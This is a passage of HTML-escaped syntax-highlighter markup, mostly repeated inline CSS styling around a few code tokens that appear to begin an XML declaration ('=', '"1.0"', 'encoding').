font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;=&lt;/code&gt;&lt;code class="string" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: blue !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;"1.0"&lt;/code&gt;&amp;nbsp;&lt;code class="color1" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(128, 128, 128) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;encoding&lt;/code&gt;&lt;code class="plain" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-wi
